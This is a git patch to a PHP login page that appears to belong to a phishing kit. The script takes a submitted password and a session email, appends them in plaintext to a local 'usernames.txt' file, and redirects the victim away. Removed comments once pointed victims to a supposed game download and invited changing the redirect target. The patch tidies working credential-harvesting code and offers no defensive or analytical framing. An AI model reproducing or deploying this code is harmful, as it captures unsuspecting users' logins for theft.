From 2fec11085e60c7cb387646bccdebd16c73ff9f38 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 15 Jun 2019 10:59:16 +0500 Subject: [PATCH] Update login.php --- WebPages/live_web/login.php | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/WebPages/live_web/login.php b/WebPages/live_web/login.php index c2cf2d4..d985428 100644 --- a/WebPages/live_web/login.php +++ b/WebPages/live_web/login.php @@ -4,19 +4,12 @@ $pass = $_POST["passwd"]; $email=$_SESSION["Email"]; - //opening logins text file for appending new data. - //$file = fopen("usernames.txt") or die("Unable to open file!"); - //Writing email and password to logins.txt. - file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND); - - - //redirecting user to the google drive's locations where the game is available to download. - //change the location url to redirect to a website of your choice. - header('Location: https://www.google.com'); + file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND); + header('Location: '); exit(); session_destroy(); -?> \ No newline at end of file +?>